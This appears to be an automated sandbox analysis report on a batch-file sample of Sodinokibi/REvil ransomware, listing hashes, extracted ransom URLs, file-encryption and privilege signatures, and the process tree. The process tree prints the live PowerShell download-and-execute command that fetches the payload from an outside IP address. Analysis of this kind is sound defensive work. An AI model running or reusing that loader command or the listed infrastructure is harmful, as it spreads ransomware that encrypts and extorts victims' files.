Analysis
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max time kernel
147s -
max time network
151s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
03-10-2020 08:10
Static task
static1
Behavioral task
behavioral1
Sample
7ea94d4f5d4b54cc7b266644eb7c5555.bat
Resource
win7
Behavioral task
behavioral2
Sample
7ea94d4f5d4b54cc7b266644eb7c5555.bat
Resource
win10v200722
General
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Target
7ea94d4f5d4b54cc7b266644eb7c5555.bat
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Size
216B
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MD5
4944228a925ef6dc45f160546d123fa0
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SHA1
f6864b976df62dbe266805a1fd81b68bd106ec17
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SHA256
6918fc00fa266da8167e2a7842710a6cb4740f4188d31f546bc92d659d1cad09
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SHA512
55d1ea4e2a72197a1fd8728fe9ab488fc3e45b569739ba897518f1300743e538fd528f5104719f2a1f151b590e3dfd86eb0bcd45cb50481c1ac74b7e69aa1674
Malware Config
Extracted
http://185.103.242.78/pastes/7ea94d4f5d4b54cc7b266644eb7c5555
Extracted
C:\l6a18vlbri-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/22F567D070B0F439
http://decryptor.cc/22F567D070B0F439
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Blacklisted process makes network request 81 IoCs
Processes:
powershell.exeflow pid process 10 1048 powershell.exe 22 1048 powershell.exe 24 1048 powershell.exe 26 1048 powershell.exe 28 1048 powershell.exe 30 1048 powershell.exe 32 1048 powershell.exe 34 1048 powershell.exe 36 1048 powershell.exe 38 1048 powershell.exe 41 1048 powershell.exe 43 1048 powershell.exe 45 1048 powershell.exe 47 1048 powershell.exe 49 1048 powershell.exe 51 1048 powershell.exe 52 1048 powershell.exe 53 1048 powershell.exe 54 1048 powershell.exe 56 1048 powershell.exe 58 1048 powershell.exe 60 1048 powershell.exe 62 1048 powershell.exe 64 1048 powershell.exe 66 1048 powershell.exe 68 1048 powershell.exe 70 1048 powershell.exe 72 1048 powershell.exe 74 1048 powershell.exe 76 1048 powershell.exe 78 1048 powershell.exe 80 1048 powershell.exe 82 1048 powershell.exe 84 1048 powershell.exe 86 1048 powershell.exe 88 1048 powershell.exe 90 1048 powershell.exe 91 1048 powershell.exe 93 1048 powershell.exe 95 1048 powershell.exe 97 1048 powershell.exe 99 1048 powershell.exe 101 1048 powershell.exe 103 1048 powershell.exe 105 1048 powershell.exe 107 1048 powershell.exe 109 1048 powershell.exe 111 1048 powershell.exe 113 1048 powershell.exe 115 1048 powershell.exe 117 1048 powershell.exe 119 1048 powershell.exe 121 1048 powershell.exe 123 1048 powershell.exe 125 1048 powershell.exe 127 1048 powershell.exe 130 1048 powershell.exe 132 1048 powershell.exe 134 1048 powershell.exe 136 1048 powershell.exe 138 1048 powershell.exe 140 1048 powershell.exe 142 1048 powershell.exe 144 1048 powershell.exe -
Modifies extensions of user files 9 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
powershell.exedescription ioc process File renamed C:\Users\Admin\Pictures\PushReceive.crw => \??\c:\users\admin\pictures\PushReceive.crw.l6a18vlbri powershell.exe File renamed C:\Users\Admin\Pictures\RestartSearch.tif => \??\c:\users\admin\pictures\RestartSearch.tif.l6a18vlbri powershell.exe File renamed C:\Users\Admin\Pictures\ConvertToWrite.tiff => \??\c:\users\admin\pictures\ConvertToWrite.tiff.l6a18vlbri powershell.exe File renamed C:\Users\Admin\Pictures\DisconnectResolve.crw => \??\c:\users\admin\pictures\DisconnectResolve.crw.l6a18vlbri powershell.exe File renamed C:\Users\Admin\Pictures\NewConnect.tiff => \??\c:\users\admin\pictures\NewConnect.tiff.l6a18vlbri powershell.exe File renamed C:\Users\Admin\Pictures\ConvertToUnblock.tif => \??\c:\users\admin\pictures\ConvertToUnblock.tif.l6a18vlbri powershell.exe File opened for modification \??\c:\users\admin\pictures\ConvertToWrite.tiff powershell.exe File opened for modification \??\c:\users\admin\pictures\NewConnect.tiff powershell.exe File renamed C:\Users\Admin\Pictures\FindAssert.tif => \??\c:\users\admin\pictures\FindAssert.tif.l6a18vlbri powershell.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
powershell.exedescription ioc process File opened (read-only) \??\S: powershell.exe File opened (read-only) \??\B: powershell.exe File opened (read-only) \??\K: powershell.exe File opened (read-only) \??\L: powershell.exe File opened (read-only) \??\M: powershell.exe File opened (read-only) \??\N: powershell.exe File opened (read-only) \??\O: powershell.exe File opened (read-only) \??\P: powershell.exe File opened (read-only) \??\T: powershell.exe File opened (read-only) \??\U: powershell.exe File opened (read-only) \??\W: powershell.exe File opened (read-only) \??\Y: powershell.exe File opened (read-only) \??\Z: powershell.exe File opened (read-only) \??\A: powershell.exe File opened (read-only) \??\E: powershell.exe File opened (read-only) \??\F: powershell.exe File opened (read-only) \??\G: powershell.exe File opened (read-only) \??\H: powershell.exe File opened (read-only) \??\V: powershell.exe File opened (read-only) \??\J: powershell.exe File opened (read-only) \??\Q: powershell.exe File opened (read-only) \??\R: powershell.exe File opened (read-only) \??\I: powershell.exe File opened (read-only) \??\X: powershell.exe File opened (read-only) \??\D: powershell.exe -
Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\z0ia2059e9n.bmp" powershell.exe -
Drops file in Program Files directory 37 IoCs
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\program files\CheckpointGroup.dotx powershell.exe File opened for modification \??\c:\program files\CompareGet.js powershell.exe File opened for modification \??\c:\program files\ConnectEnable.emf powershell.exe File opened for modification \??\c:\program files\JoinWatch.dwg powershell.exe File opened for modification \??\c:\program files\MergeInstall.vssm powershell.exe File opened for modification \??\c:\program files\UnblockCheckpoint.php powershell.exe File opened for modification \??\c:\program files\WatchUse.avi powershell.exe File created \??\c:\program files (x86)\l6a18vlbri-readme.txt powershell.exe File opened for modification \??\c:\program files\CompareUse.jpg powershell.exe File opened for modification \??\c:\program files\DisconnectExpand.xps powershell.exe File opened for modification \??\c:\program files\ExpandUnprotect.gif powershell.exe File opened for modification \??\c:\program files\ResizeUnblock.cr2 powershell.exe File opened for modification \??\c:\program files\StepStop.pps powershell.exe File opened for modification \??\c:\program files\UpdateDeny.ADT powershell.exe File opened for modification \??\c:\program files\UpdateLimit.pdf powershell.exe File opened for modification \??\c:\program files\ClearGrant.xhtml powershell.exe File opened for modification \??\c:\program files\ExportHide.mp3 powershell.exe File opened for modification \??\c:\program files\ExportWait.7z powershell.exe File opened for modification \??\c:\program files\OpenOptimize.asf powershell.exe File opened for modification \??\c:\program files\SuspendCopy.xla powershell.exe File opened for modification \??\c:\program files\ApproveGroup.docx powershell.exe File opened for modification \??\c:\program files\MoveGet.wpl powershell.exe File opened for modification \??\c:\program files\OptimizeSync.DVR powershell.exe File opened for modification \??\c:\program files\PublishRepair.asx powershell.exe File opened for modification \??\c:\program files\SetAdd.mpg powershell.exe File opened for modification \??\c:\program files\UnblockNew.pptm powershell.exe File opened for modification \??\c:\program files\UnpublishExit.js powershell.exe File opened for modification \??\c:\program files\ConnectDismount.potx powershell.exe File opened for modification \??\c:\program files\ExportInitialize.bmp powershell.exe File opened for modification \??\c:\program files\FindRemove.sql powershell.exe File opened for modification \??\c:\program files\MountEnable.vb powershell.exe File opened for modification \??\c:\program files\ResumeFormat.cfg powershell.exe File opened for modification \??\c:\program files\ImportDebug.zip powershell.exe File opened for modification \??\c:\program files\OptimizeDebug.tif powershell.exe File created \??\c:\program files\l6a18vlbri-readme.txt powershell.exe File opened for modification \??\c:\program files\UninstallPublish.wpl powershell.exe File opened for modification \??\c:\program files\SubmitCompare.xsl powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepid process 1048 powershell.exe 1048 powershell.exe 1048 powershell.exe 1048 powershell.exe 1048 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1048 powershell.exe Token: SeDebugPrivilege 1048 powershell.exe Token: SeTakeOwnershipPrivilege 1048 powershell.exe Token: SeBackupPrivilege 3084 vssvc.exe Token: SeRestorePrivilege 3084 vssvc.exe Token: SeAuditPrivilege 3084 vssvc.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 3096 wrote to memory of 1048 3096 cmd.exe powershell.exe PID 3096 wrote to memory of 1048 3096 cmd.exe powershell.exe PID 3096 wrote to memory of 1048 3096 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7ea94d4f5d4b54cc7b266644eb7c5555.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3096 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/7ea94d4f5d4b54cc7b266644eb7c5555');Invoke-YKXNAVECP;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1048
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:3084
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/1048-0-0x0000000000000000-mapping.dmp
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memory/1048-1-0x0000000073960000-0x000000007404E000-memory.dmpFilesize
6.9MB
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memory/1048-2-0x0000000004C40000-0x0000000004C41000-memory.dmpFilesize
4KB
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memory/1048-3-0x0000000007790000-0x0000000007791000-memory.dmpFilesize
4KB
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memory/1048-4-0x00000000075B0000-0x00000000075B1000-memory.dmpFilesize
4KB
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memory/1048-5-0x0000000007DC0000-0x0000000007DC1000-memory.dmpFilesize
4KB
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memory/1048-6-0x0000000007E30000-0x0000000007E31000-memory.dmpFilesize
4KB
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memory/1048-7-0x0000000008080000-0x0000000008081000-memory.dmpFilesize
4KB
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memory/1048-8-0x0000000008490000-0x0000000008491000-memory.dmpFilesize
4KB
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memory/1048-9-0x00000000089A0000-0x00000000089A1000-memory.dmpFilesize
4KB
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memory/1048-10-0x0000000008730000-0x0000000008731000-memory.dmpFilesize
4KB
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memory/1048-11-0x0000000009EB0000-0x0000000009EB1000-memory.dmpFilesize
4KB
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memory/1048-12-0x0000000009440000-0x0000000009441000-memory.dmpFilesize
4KB